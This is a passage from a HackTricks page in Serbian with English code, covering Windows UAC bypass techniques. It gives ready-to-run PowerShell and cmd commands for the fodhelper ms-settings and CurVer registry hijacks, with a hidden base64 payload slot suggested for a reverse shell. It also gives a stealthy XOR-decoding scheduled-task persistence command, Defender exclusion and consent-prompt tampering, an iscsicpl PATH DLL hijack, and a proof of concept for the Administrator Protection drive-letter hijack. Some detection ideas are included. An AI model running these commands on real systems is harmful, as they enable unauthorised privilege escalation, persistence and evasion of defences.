1) Create the vulnerable key and values

New-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force | Out-Null New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force | Out-Null

2) Set default command to your payload (example: reverse shell or cmd)

Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)

Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>” -Force

3) Trigger auto-elevation

Start-Process -FilePath “C:\Windows\System32\fodhelper.exe”

4) (Recommended) Cleanup

Remove-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open” -Recurse -Force

</details>
Napomene:
- Radi kada je trenutni korisnik član Administrators i UAC nivo je podrazumevan/lenient (nije Always Notify sa dodatnim restrikcijama).
- Koristite `sysnative` path da pokrenete 64-bitni PowerShell iz 32-bitnog procesa na 64-bitnom Windows-u.
- Payload može biti bilo koja komanda (PowerShell, cmd, ili EXE path). Izbegavajte prompt UIs radi stealth.

#### CurVer/extension hijack variant (HKCU only)

Nedavni samples koji abuse-uju `fodhelper.exe` izbegavaju `DelegateExecute` i umesto toga **preusmeravaju `ms-settings` ProgID** preko per-user `CurVer` value. Auto-elevated binary i dalje resolvuje handler pod `HKCU`, tako da nije potreban admin token da bi se postavili ključevi:
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

Jednom kada se elevate-uje, malware često onemogućava buduće promptove tako što postavlja HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin na 0, zatim sprovodi dodatni defense evasion (npr. Add-MpPreference -ExclusionPath C:\ProgramData) i ponovo kreira persistence da bi se izvršavao kao high integrity. Tipičan persistence task čuva XOR-enkriptovani PowerShell script na disku i dekodira ga/izvršava u memoriji svaki sat:

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

Ova varijanta i dalje čisti dropper i ostavlja samo staged payloads, pa detekcija zavisi od praćenja CurVer hijack-a, ConsentPromptBehaviorAdmin tampering-a, kreiranja Defender exclusion-a, ili scheduled tasks koji u memoriji dešifruju PowerShell.

More UAC bypass

Sve tehnike korišćene ovde za zaobilaženje AUC zahtevaju full interactive shell sa žrtvom (običan nc.exe shell nije dovoljan).

Možete ga dobiti pomoću meterpreter sesije. Migrirajte na process koji ima Session vrednost jednaku 1:

(explorer.exe bi trebalo da radi)

UAC Bypass with GUI

Ako imate pristup GUI-ju, možete jednostavno prihvatiti UAC prompt kada se pojavi, zapravo vam i nije potreban bypass. Dakle, pristup GUI-ju će vam omogućiti da zaobiđete UAC.

Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP), postoje neki alati koji će se pokretati kao administrator iz kojih biste mogli direktno da pokrenete na primer cmd kao admin bez ponovnog prompta od strane UAC-a, kao što je https://github.com/oski02/UAC-GUI-Bypass-appverif. Ovo može biti malo stealthy.

Noisy brute-force UAC bypass

Ako vas nije briga da budete noisy, uvek možete pokrenuti nešto poput https://github.com/Chainski/ForceAdmin koje će tražiti elevaciju privilegija dok korisnik ne prihvati.

Your own bypass - Basic UAC bypass methodology

Ako pogledate UACME, primetićete da većina UAC bypass-ova zloupotrebljava Dll Hijacking vulnerability (uglavnom upisivanjem malicious dll u C:\Windows\System32). Pročitajte ovo da naučite kako da pronađete Dll Hijacking vulnerabilitiy.

1. Pronađite binary koji će se autoelevate (proverite da, kada se izvrši, radi na visokom integrity level-u).
2. Uz procmon pronađite događaje “NAME NOT FOUND” koji mogu biti ranjivi na DLL Hijacking.
3. Verovatno ćete morati da upisujete DLL unutar nekih protected paths (kao što je C:\Windows\System32) gde nemate prava upisa. Ovo možete zaobići koristeći:
4. wusa.exe: Windows 7,8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla unutar protected paths (jer se ovaj alat izvršava sa visokim integrity level-om).
5. IFileOperation: Windows 10.
6. Pripremite script za kopiranje vašeg DLL-a unutar protected path-a i izvršavanje ranjivog i autoelevated binary-ja.

Another UAC bypass technique

Sastoji se od praćenja da li autoElevated binary pokušava da čita iz registry-ja ime/path nekog binary-ja ili command-a koji treba da bude executed (ovo je zanimljivije ako binary pretražuje ove informacije unutar HKCU).

UAC bypass via SysWOW64\iscsicpl.exe + user PATH DLL hijack

32-bitni C:\Windows\SysWOW64\iscsicpl.exe je auto-elevated binary koji može da se zloupotrebi za učitavanje iscsiexe.dll preko search order-a. Ako možete da postavite malicious iscsiexe.dll unutar foldera koji je user-writable i zatim izmenite current user PATH (na primer preko HKCU\Environment\Path) tako da se taj folder pretražuje, Windows može da učita attacker DLL unutar elevated iscsicpl.exe procesa bez prikazivanja UAC prompt-a.

Praktične napomene:

• Ovo je korisno kada je current user u Administrators, ali radi na Medium Integrity zbog UAC-a.
• Kopija iz SysWOW64 je relevantna za ovaj bypass. Tretirajte kopiju iz System32 kao zaseban binary i validirajte ponašanje nezavisno.
• Primitiv je kombinacija auto-elevation i DLL search-order hijacking, pa je isti ProcMon workflow koji se koristi za druge UAC bypass-ove koristan za validaciju nedostajućeg DLL load-a.

Minimal flow:

copy iscsiexe.dll %TEMP%\iscsiexe.dll
reg add "HKCU\Environment" /v Path /t REG_SZ /d "%TEMP%" /f
C:\Windows\System32\cmd.exe /c C:\Windows\SysWOW64\iscsicpl.exe

Detection ideas:

• Alert on reg add / registry writes to HKCU\Environment\Path immediately followed by execution of C:\Windows\SysWOW64\iscsicpl.exe.
• Hunt for iscsiexe.dll in user-controlled locations such as %TEMP% or %LOCALAPPDATA%\Microsoft\WindowsApps.
• Correlate iscsicpl.exe launches with unexpected child processes or DLL loads from outside the normal Windows directories.

Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map

Windows 11 25H2 “Administrator Protection” uses shadow-admin tokens with per-session \Sessions\0\DosDevices/<LUID> maps. The directory is created lazily by SeGetTokenDeviceMap on first \?? resolution. If the attacker impersonates the shadow-admin token only at SecurityIdentification, the directory is created with the attacker as owner (inherits CREATOR OWNER), allowing drive-letter links that take precedence over \GLOBAL??.

Steps:

1. From a low-privileged session, call RAiProcessRunOnce to spawn a promptless shadow-admin runonce.exe.
2. Duplicate its primary token to an identification token and impersonate it while opening \?? to force creation of \Sessions\0\DosDevices/<LUID> under attacker ownership.
3. Create a C: symlink there pointing to attacker-controlled storage; subsequent filesystem accesses in that session resolve C: to the attacker path, enabling DLL/file hijack without a prompt.

PowerShell PoC (NtObjectManager):

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"

References

• HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
• LOLBAS: Fodhelper.exe
• LOLBAS: Iscsicpl.exe
• Microsoft Docs – How User Account Control works
• UACME – UAC bypass techniques collection
• Checkpoint Research – KONNI Adopts AI to Generate PowerShell Backdoors
• Check Point Research – Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets
• Project Zero – Windows Administrator Protection drive-letter hijack

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

• Pogledaj pretplatničke planove!
• Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
• Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.